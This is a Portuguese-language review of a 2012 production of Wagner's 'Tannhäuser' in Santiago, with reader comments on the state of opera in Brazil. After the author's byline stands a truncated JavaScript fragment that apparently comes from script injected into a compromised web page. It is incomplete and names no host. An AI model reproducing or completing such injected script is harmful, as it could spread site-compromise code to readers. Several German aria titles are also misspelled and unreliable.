Crítica

“Tannhauser” brilha no Municipal de Santiago do Chile

O choque entre dois mundos (a redenção do homem pecador pelo amor de uma mulher pura), evocou com acerto a época dos trovadores no palco do Municipal de Santiago.


A partir de 05 de Agosto até 16 do corrente mês com uma récita extra no dia 19 (domingo), foi um êxito a apresentação de “Tannhauser”, de Wagner na presente temporada lírica chilena.

Cena da ópera

O maestro Rani Calderón, diretor artístico de uma orquestra bem equilibrada, a Filarmônica de Santiago, desde as cordas até os sopros de metais, conseguiu emocionar com matizes de colorido satisfatórios, quase  todas as alternâncias de turbulência e idealismo contidas na partitura do grande mestre alemão. A ópera datada em sua estreia mundial de 19 de outubro de 1845, no Teatro Real de Dresden,  da qual não obteve o triunfo esperado, reestreou com diferentes modificações, até sua versão parisience em 1861, da qual vimos a representação atual.

O encenador Michael Hampe tanto quanto o cenógrafo e figurinista Germán Droghetti, não pouparam esforços para que fossem mantidos o realismo e o convencional na montagem tradicionalista, proporcionando momentos de rara beleza plástica complementada pela iluminação inteligente de Ramón López, que realizou, sobretudo no 1º ato uma criação maravilhosa. Colaborou ainda mais, a coreografia de Jaime Pinto, com belos, insinuantes  e apropriados volteios coreográficos na cena de Venusberg.

Na récita de 16 de Agosto, quinta-feira, às 19 h. o tenor Frank van Aken não esteve tão bem, devido a uma indisposição, ocorrida pelo intenso frio que se abate sobre Santiago. Em um papel extremamente exigente para Tannhauser, o cantor enfrentou muitas dificuldades especialmente no 1º ato, quando canta “Dir tone lob”, um pouco melhor nas cenas seguintes do 2º ato, durante o dueto com o soprano e “Zu iht”. Canta com musicalidade e tem uma passagem para os pianos (p) e (pp) de consideràvel beleza canora.

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Cena da ópera

Eva -Maria Westbroek, (Elisabeth) holandesa como o seu marido, Frank Van Aken, constitui-se em uma das maiores vozes da atualidade. Soprano lírico-dramático, senhora da cena internacional, domina o palco com facilidade e possui um extenso registro vocal, radiante e belo. Cantou soberbamente sua oração “Alimarht´ge Jungfran” e sua entrada “Dich teure Hale”, como também no trio “Lass hin zu dir ihn w allen” com Tannhauser e Landgrave ao fim do 2º ato foram impecáveis.

Para aqueles que conhecem as grandes interpretaçñoes de Eva Marton com Richard Cassilly, Nadine Secunde e René Kollo com Waltraud Meier; Petra Maria Schnitzer e Peter Seiffert; Tina Kiberg e Stig Andersen com Susanne Resmark (Decca 2009),  esta encenação não ficou muito atrás. Foi brindada como uma chuva de flores ao final da ópera.

Outro destaque foi o barìtono alemão Markus Bruck como Wolfram von Eschenbach. Cantou lindamente sua cavatina no concurso de canto e também com imensa musicalidade e precisão musical a célebre “O du, mem holder Abendstern”, a canção da “Estrela Vespertina”.

Ainda em nível internacional o baixo alemão Andreas Bauer como o Hermann com notas sonoras e bem timbradas durante todo seu discurso. Merecem destaque os cantores chilenos Luis Olivares, tenor como Walther, Juan Pablo Dupré (Heinrich), Patrício Sabaté (Biterolf), David Gáez (Reinmar) e o soprano Marcela Gonzalez (Pastor). Uma nota  especial ao Coro do Teatro Municipal, pela precisão musical, sonoridade redonda, afinação extraordinária e glamour apresentada nesta produção que fica na história do Municipal de Santiago do Chile.

Escrito por Marco Antonio Seta, em 17 de Agosto de 2012.var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

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4 Comments

  1. Que bom se esse espetáculo viesse para São Paulo no lugar de “O crepusculo dos deuses”, tão deturpado como foi recentemente apresentado aqui.

  2. Parabenizo a excelente crítica de Marco Antônio Seta. Perfeito. Anexo um parecer meu acerca do panorama do Bel Canto no Brasil. “Não há como camuflar as péssimas apresentações de óperas no Brasil, principalmente cantadas por elenco brasileiro. As falsas avaliações são caricatas e desmerecem o leitor e principalmente o público cada vez mais descrente em poder assistir pelo menos uma montagem razoável. Por principio a plateia brasileira e educada,e extremamente desinformada daí a permissão em ver e ouvir encenações desastrosas com bravos anunciantes da morte do Bel Canto. Junta-se o pior amadorismo estendendo- se às direções, figurinos, cenários, enfim aos meios necessários de realização do espetáculo. Pior ainda a extrema pretensão em montar certas óperas, para o público conhecedor uma morte anunciada. Paro o leigo um péssimo começo. Uma crítica camuflada e a própria sentença de falta de conteúdo e embasamento. Chegou a hora de dar um basta. Parabenizo a reflexão da crítica com suportes cabíveis e corretos na sua mensagem.”

  3. Parece mesmo que a ópera no Brasil descambou em todos os teatros nacionais. Em SP, RJ, BH, Curitiba e assim por diante, só existe uma enganação nas mãos de diretores de teatro, gente alheia à ópera, gente que não entende nada disso e que só quer ganhar dinheiro dos cofres públicos. Inventam, mudam coisas da ópera, invertem, cruzam ideias como foi com o “Crepúsculo dos Deuses”, e no indecente “Morcego” de 2011, no Nabucco de Verdi atemporal como foi anunciado pela própria produção (em Belo Horizonte/RJ), e assimm por diante. Os maestros endossam esses diretores malucos e a coisa degringola por aí adiante. Os cantores são sempre os mesmos: Rosana Lamosa, Fernando Portari, Eliane Coelho, Gabriela Pace, Savio Sperandio, Pepes do Valle, Homero Velho, Denise de Freitas, Adriana Clis. Desse jeito não vamos evoluir nunca. Já não se sabe qual teatro está pior, sem falar nas locações desses teatros à mercê de rendas.

  4. Bela crítica, muito bem embasada e justificada. O crítico mostra conhecimento de causa, pena que não possamos ver este espetáculo no Brasil.

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Marco Antônio Seta
Diplomado em Educação Musical, Artes Visuais e Educação Artística. Publicou artigos e críticas de óperas em vários veículos de SP ao longo de três décadas.